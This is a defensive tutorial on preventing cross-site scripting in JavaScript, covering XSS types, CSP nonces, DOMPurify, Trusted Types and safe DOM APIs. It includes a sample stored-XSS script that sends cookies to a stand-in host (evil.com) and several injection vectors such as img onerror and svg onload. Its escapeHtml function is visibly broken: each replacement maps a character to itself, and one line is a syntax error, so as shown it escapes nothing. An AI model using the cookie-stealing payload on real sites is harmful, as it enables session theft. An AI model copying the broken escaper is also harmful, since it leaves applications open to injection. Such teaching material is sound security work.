XSS Prevention in JavaScript
Cross-site scripting (XSS) is one of the most common security vulnerabilities in web applications. It lets an attacker inject malicious scripts into pages that other users view. The browser has no way to tell that a piece of content came from an attacker rather than your application, so it executes the script anyway — and that script can read cookies, capture keystrokes, or manipulate the page.
JavaScript applications are especially exposed because they handle user data on both the client and the server. This article covers the three main types of XSS, shows how they work with real attack patterns, and walks through the defenses that actually stop them.
The Three Types of XSS
Stored XSS
Stored (persistent) XSS is the most damaging variant. The attacker’s payload is saved on the server — in a database, a comment, a user profile field, anything that gets stored and later served to other users. Every visitor who loads that data gets the payload executed in their browser automatically.
An attacker posts this as a comment:
<script>
document.location = 'https://evil.com/steal?cookie=' + document.cookie;
</script>
That comment sits in your database. When other users load the page, their browsers receive the script tag as part of the page content and execute it without hesitation. The attack works across sessions and affects every user who views the compromised data.
Reflected XSS
Reflected (non-persistent) XSS does not persist on the server. Instead, the attack payload arrives in a request — usually a URL parameter — and the server echoes it back in the response without storing it. The victim must click a specially crafted link for the attack to fire.
https://example.com/search?q=<img src=x onerror=alert('XSS')>
If the search page renders the q parameter value without escaping, the onerror fires when the victim opens the link. Because nothing is stored, each victim requires individual targeting, typically through phishing.
DOM-Based XSS
DOM-based XSS runs entirely in the browser. The server sends a page that contains JavaScript which reads user input and writes it to the DOM. The server never sees the malicious part of the payload — it lives in the URL fragment (#), which is never sent to the server.
const params = new URLSearchParams(window.location.hash.slice(1));
document.getElementById('welcome').innerHTML = 'Welcome ' + params.get('name');
A victim visits page.html#name=<img src=x onerror=alert('XSS')>. The server cannot filter the fragment because it never receives it. The client-side JavaScript reads the fragment, inserts it into innerHTML, and the script executes.
This is why DOM-based XSS is a client-side problem requiring client-side defenses — server-side escaping does not protect against it.
How Attackers Inject Scripts
XSS is not limited to <script> tags. Modern browsers block naive script injection, so attackers use a range of vectors:
<img src="x" onerror="alert('XSS')">
<svg onload="alert('XSS')">
<input onfocus="alert('XSS')" autofocus>
<a href="javascript:alert('XSS')">Click me</a>
The same payload behaves differently depending on where in the HTML it lands. Escaping < and > is sufficient for the HTML body context, but if user input ends up inside a JavaScript string, an HTML attribute value, or a CSS property, different characters become dangerous. Context-aware escaping is not optional — it is the only way to get it right.
Content Security Policy
Content Security Policy (CSP) is an HTTP header that tells the browser exactly which scripts, stylesheets, frames, and other resources are allowed to load and execute. A strict CSP eliminates entire classes of XSS attacks, even when your code has bugs.
A strong CSP for a typical JavaScript application:
Content-Security-Policy: default-src 'self'; script-src 'nonce-{random}'; object-src 'none'; base-uri 'self'
Key directives:
default-src— fallback for other source directives when they are not set explicitlyscript-src 'nonce-{random}'— only scripts with a matching nonce attribute are allowed to execute; the nonce changes on every page loadobject-src 'none'— disables Flash and other plugins entirely; almost always the right choicebase-uri 'self'— prevents attackers from injecting a<base>tag to hijack relative URLs
The nonce approach works like this on the server side:
const crypto = require('crypto');
const nonce = crypto.randomBytes(16).toString('base64');
// Server sets the nonce in the CSP header and injects it into templates
res.setHeader('Content-Security-Policy',
`script-src 'nonce-${nonce}' 'self'; object-src 'none'`);
Then in your HTML template:
<script nonce="<%= nonce %>">
// This script runs — browser verifies the nonce
</script>
Any inline script without the correct nonce is blocked. Any external script from an unexpected origin is blocked. This works even if an attacker finds a way to inject HTML into your page — without a valid nonce, the browser refuses to execute the injected script.
Avoid 'unsafe-inline' and 'unsafe-eval' in script-src. These options disable the protections that make CSP valuable. If you need inline scripts, use nonces.
Avoid innerHTML with User Data
The most common source of DOM-based XSS is innerHTML. When you set innerHTML with user-controlled data, any HTML or JavaScript embedded in that data runs immediately.
// Dangerous — never pass user input to innerHTML
element.innerHTML = '<p>' + userName + '</p>';
Instead, use APIs that treat data as text, not markup:
// Safe — textContent escapes HTML characters automatically
element.textContent = userName;
// Safe — createTextNode
const text = document.createTextNode(userName);
element.appendChild(text);
textContent automatically escapes <, >, &, and all other special characters. The browser renders them as literal text rather than interpreting them as HTML or JavaScript.
When you genuinely need to render structured HTML (a rich text editor, a markdown renderer, a comment system with limited formatting), use DOMPurify:
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
ALLOWED_ATTR: ['href']
});
element.innerHTML = clean;
DOMPurify parses the HTML, walks the DOM, and strips anything not explicitly allowlisted — including <script> tags, event handler attributes like onerror, and javascript: URLs. It also integrates with Trusted Types for an additional layer of enforcement.
Escaping User Input by Context
When you build HTML strings that include user data, you must escape the data based on where it will appear. A single escaping strategy does not work across all contexts.
HTML body context — escape <, >, &, ", and ':
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
JavaScript string context — escape backslashes, quotes, and newlines:
function escapeJsForAttribute(str) {
return JSON.stringify(str).slice(1, -1);
}
URL parameter context — use encodeURIComponent:
const safeUrl = '/search?q=' + encodeURIComponent(userQuery);
The safest approach is to use a template engine with context-aware auto-escaping built in. Handlebars, Jinja2, EJS (with <%= %> not <%- %>), and most modern frameworks escape automatically by default. The problem comes when you bypass escaping — using raw string concatenation or the unescaped output variant of your template engine.
<!-- Safe — EJS escapes by default -->
<p><%= userComment %></p>
<!-- Dangerous — raw output, do not use with user input -->
<p><%- userComment %></p>
HTTPOnly and Secure Cookie Flags
XSS cannot read cookies marked as HttpOnly because those cookies are invisible to JavaScript. Even a successful script injection cannot access them.
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax
HttpOnly—document.cookiereturns nothing for this cookieSecure— the cookie is only sent over HTTPS connectionsSameSite=Lax— the cookie is not sent with cross-site requests, reducing CSRF risk
HTTPOnly is not a complete solution. An attacker who achieves XSS can still manipulate the DOM, log keystrokes, display phishing overlays, and perform actions on behalf of the user within the page. It protects session cookies specifically, but you still need all the other defenses.
The sandbox Attribute on iframes
iframes can become XSS vectors if an attacker controls their src or the content they embed. The sandbox attribute applies security restrictions to framed content.
<!-- Most restrictive — blocks scripts, forms, top-level navigation -->
<iframe src="<%= userProvidedUrl %>" sandbox></iframe>
<!-- Allow scripts only when your use case requires it -->
<iframe src="<%= userProvidedUrl %>" sandbox="allow-scripts"></iframe>
When sandbox is present with no values, the iframe cannot execute scripts, submit forms, navigate the top-level frame, or access storage or cookies. Add only the capabilities you genuinely need.
Trusted Types API
Trusted Types is a browser API (Chrome 83+, Edge 83+, Safari partial) that forces you to use typed objects instead of raw strings at dangerous DOM sinks. With Trusted Types enabled, the browser throws a TypeError if you pass a plain string to innerHTML, insertAdjacentHTML, eval(), or other sinks.
Enable it via CSP:
Content-Security-Policy: trusted-types myPolicy;
Define a policy that handles dangerous operations:
const policy = trustedTypes.createPolicy('myPolicy', {
createHTML: (str) => DOMPurify.sanitize(str),
createScriptURL: (str) => {
const url = new URL(str, document.baseURI);
return url.origin === 'https://trusted.com' ? url.href : null;
}
});
// This works
element.innerHTML = policy.createHTML(userHtml);
// This throws TypeError
element.innerHTML = userHtml;
The second line throws because strings are not allowed at innerHTML when Trusted Types is enforced. The policy gives you a single place to hook in sanitization, and the browser enforces that nothing bypasses it.
Avoid eval(), new Function(), and String-Based Timers
These APIs treat strings as executable code. Any user-controlled string passed to them becomes an XSS vector.
// Dangerous — never pass user input to eval
eval('var x = ' + userValue);
// Dangerous — same problem as eval
new Function('return ' + userValue);
// Dangerous — strings sent to setTimeout are executed as code
setTimeout('alert("' + userInput + '")', 100);
Safe alternatives:
// Use functions, not strings
setTimeout(() => alert(safeValue), 100);
// Use JSON.parse for data parsing
const data = JSON.parse(userJsonString);
// For dynamic script loading, validate with a Trusted Types policy
const policy = trustedTypes.createPolicy('scriptPolicy', {
createScriptURL: (url) => {
const parsed = new URL(url, document.baseURI);
return parsed.origin === 'https://api.example.com' ? parsed.href : null;
}
});
script.src = policy.createScriptURL(userUrl);
If you need dynamic code execution in JavaScript, eval() is almost never the right answer. The cases where it is genuinely necessary are rare enough that you should treat any instance of it as a security review flag.
See Also
- Node Error Handling Patterns — server-side escaping and safe error responses that prevent information leakage used in XSS reconnaissance
- Node Rate Limiting and Security — rate limiting on endpoints that reflect user input slows down attackers hunting for XSS vectors
- JavaScript Error Handling — safe error messaging prevents verbose stack traces that expose internal paths and library versions useful to attackers
Conclusion
XSS prevention requires understanding three distinct attack types — stored, reflected, and DOM-based — because each requires different defenses. Stored and reflected XSS are primarily server-side problems solved by context-aware escaping and template engines with auto-escaping enabled. DOM-based XSS is a client-side problem solved by avoiding innerHTML with user data, using safe DOM APIs, and applying CSP with nonces or Trusted Types.
No single defense is sufficient on its own. The most effective approach layers multiple protections: a strict CSP with nonces blocks injected scripts even if escaping fails, HTTPOnly cookies prevent session theft, and Trusted Types enforces safe DOM manipulation at the browser level. Defense in depth means an attacker has to break several independent controls, not just one.